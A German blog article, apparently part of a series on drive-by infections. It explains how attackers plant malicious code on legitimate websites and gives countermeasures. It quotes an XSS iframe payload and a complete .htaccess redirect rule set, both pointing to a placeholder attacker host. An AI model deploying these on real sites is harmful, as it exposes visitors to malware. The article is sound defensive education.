Dipl.-Inform. Carsten Eilers

Über die Manipulation der Suchmaschinenoptimierung mancher Websites hat z.B. Dancho Danchev 2008 berichtet: ZDNet Asia und TorrentReactor haben damals alle Suchanfragen lokal gecached. Die Cyberkriminellen mussten nur nach dem gewünschten Stichwort und einer ladbaren Version ihres bösartigen iframes suchen, und ihr Code wurde in den Cache übernommen:

Stichwort<iframe src=http://www.boeser-server.example/pfad/zum/skrip.js>

Suchte danach jemand nach diesem Stichwort bei Google, tauchten die entsprechend präparierten Seiten von ZDNet Asia oder TorrentReactor durch das gute Ranking der beiden Websites sehr weit oben in der Ergebnisliste auf. Klickte der Benutzer auf den zugehörigen Link, wurde er zum Opfer der Cyberkriminellen.

Prinzipiell waren diese Angriffe damals neu, aber wenn man sie genauer betrachtet, sind es eigentlich ganz normale Cross-Site-Scripting-Angriffe, denn sie sind nur möglich, wenn die betroffene Seite für Cross-Site-Scripting anfällig ist. Andernfalls würde der Code zum Laden des iframes ausgefiltert oder die manipulierte Suchanfrage verworfen.

Generell kann JavaScript-Code für Drive-by-Infektionen über alle Cross-Site-Scripting-Schwachstellen eingeschleust werden. Für die Cyberkriminellen praktischer ist natürlich persistentes Cross-Site Scripting, so dass der einmal eingeschleuste Code jedem Besucher der entsprechenden Seite präsentiert wird und nicht nur denen, die einen präparierten Link zur Ausnutzung reflektiven oder DOM-basierten Cross-Site Scriptings angeklickt haben. Für die Cyberkriminellen besonders interessant sind natürlich Stellen, an denen der eingeschleuste Code automatisch möglichst vielen Benutzern präsentiert wird und nicht in einem wenig gelesenen Kommentar, Gästebucheintrag o.Ä. versteckt ist.

.htaccess-Datei leitet zur Drive-by-Infektion um

Im Oktober 2008 wurde im Handler's Diary des ISC vor manipulierten .htaccess-Dateien gewarnt, über die die Besucher einer Website auf eine bösartige Seite umgeleitet wurden, auf der ihnen dann ein Fake-Virenscanner untergeschoben werden sollte. Dazu wurde die RewriteEngine des Apache-Webservers aktiviert, um die Besucher je nach HTTP-Referer umzuleiten oder auch nicht umzuleiten:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://www.boeser-server.example/in.html?s=hg [R,L]
Errordocument 404 http://www.boeser-server.example/in.html?s=hg_err

Besucher, die von einer Suchmaschine kommen, werden auf die bösartige Seite umgeleitet, während Besucher, die die Website direkt aufrufen, nicht umgeleitet werden. Dadurch verhindern die Cyberkriminellen, dass den Betreibern oder regelmäßigen Besuchern der Seite die Manipulation zu schnell auffällt, denn die verwenden im Allgemeinen einen Link aus ihren Bookmarks oder geben die Adresse direkt ein.

Wenn die umgeleiteten Besucher merken, dass sie nicht auf der gewünschten Seite sind, ist es für eine Reaktion im Allgemeinen schon viel zu spät und die Schadsoftware ist bereits installiert.

Die manipulierten .htaccess-Dateien wurden vermutlich mit Hilfe ausgespähter FTP-Zugangsdaten eingeschleust, sie können aber auch in Folge anderer Angriffe manipuliert werden. So gab es in Folge der 2008 entdeckten Schwachstelle in der OpenSSL-Implementierung von Debian viele Angriffe auf damit erzeugte schwache SSH-Schlüssel, und zur Zeit gibt es (mal wieder) verteilte Brute-Force-Angriffe auf SSH-Zugänge, teilweise auf die 'Keyboard-Interactive'-Authentifizierung anstelle der üblichen Passwort-Authentifizierung.

Einschleusen des Schadcodes verhindern

Sofern die Webanwendung keine Schwachstellen hat, sind darüber auch keine Angriffe möglich. Dementsprechend ist die beste Gegenmaßnahme die Beseitigung aller evtl. vorhandenen Schwachstellen. Zugangsdaten, u.a. auch fü FTP-Zugänge, werden von darauf spezialisierten Schadprogrammen, den sog. "Passwordstealern", auf den Clients ausgespäht. Aber ein guter Schädlingsschutz des eigenen Rechners sollte ja selbstverständlich sein.

Gegen das Ausspähen der als Klartext übertragenen FTP-Zugangsdaten hilft der Verzicht auf FTP und der Wechsel zu einer verschlüsselten Datenübertragung, z.B. über Secure FTP oder SSH. Tipps zum Schutz von SSH-Zugängen vor Brute-Force-Angriffen gibt es im Handler's Diary des ISC.

Falls Ihre Website nicht auf einem eigenen Server läuft, kann sie trotz aller eigenen Schutzmaßnahmen einem Angriff zum Opfer fallen: In Shared-Hosting-Umgebungen reicht unter Umständen schon ein einziger Fehler in irgend einer Webanwendung aus, um alle auf dem gleichen Server laufenden Websites zu kompromittieren. Einen derartigen Fall gab es z.B. 2007 in Italien: Ein eingeschleustes PHP-Skript auf einem Server eines Massenhosters ermittelte erst die Dateistruktur auf dem Server und ersetzte danach in allen Dateien aller vorhandenen Websites ein vorhandenes </body>-Tag durch einen eigenen iframe, gefolgt vom </body>-Tag. Was damals noch ein "Spaß" in Form eines Massen-Defacements war, würde heute wahrscheinlich zur Vorbereitung von Drive-by-Infektionen genutzt werden.

Und relativ harmlose Fehler in der eigenen Webanwendung, die auf einem separaten Server folgenlos wären, können in Shared-Hosting-Umgebungen sehr gefährlich werden. Einen solchen Fall gab es z.B. im April: Angriffe auf WordPress-Installationen auf von Shared Hostern, insbesondere Network Solutions, gehosteten Sites. Dabei wurde vom Angreifer die 'siteurl' in der Tabelle 'wp-option' geändert, so dass die Besucher der Website sofort auf eine für Drive-by-Infektionen präparierte Seite umgeleitet wurden. David Dede hat die Angriffe genauer untersucht: WordPress speichert die Zugangsdaten für die Datenbank als Klartext in der Datei wp-config.php, für die viele Benutzer unsichere Zugriffsrechte gesetzt hatten. WordPress empfiehlt für Shared-Hosting-Installationen für die Datei wp-config.php 750 zu verwenden. Bei Network Solution sorgte der Vorfall für Verwirrung, es dauerte etwas, bis man eine eigene Lösung präsentieren konnte. Ein bösartiger Benutzer von Network Solutions durchsuchte in der Zwischenzeit die Server mit einem Skript nach diesen Dateien und sammelte die Zugangsdaten ein, mit denen er dann auf die Datenbanken zugreifen und die Einträge manipulieren konnte.

Soviel zum ersten Opfer der Drive-by-Infektionen, der harmlosen Website. In der nächsten Folge geht es um die eigentlichen Ziele der Cyberkriminellen: Die Rechner der Besucher der präparierten Websites.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Drive-by-Infektionen - Gefahren drohen überall

Drive-by-Infektionen durch SQL-Injection vorbereitet

Drive-by-Infektionen: So kommt der Schadcode auf den Server

Drive-by-Infektionen - Vom Server auf den Client

Drive-by-Infektionen - Ein Blick auf die Exploits

Drive-by-Infektionen erkennen und abwehren

LizaMoon - Massenhack mit minimalen Folgen

Aktuelles: LizaMoon auf Apples iTunes-Seiten

Drive-by-Infektionen über präparierte Werbung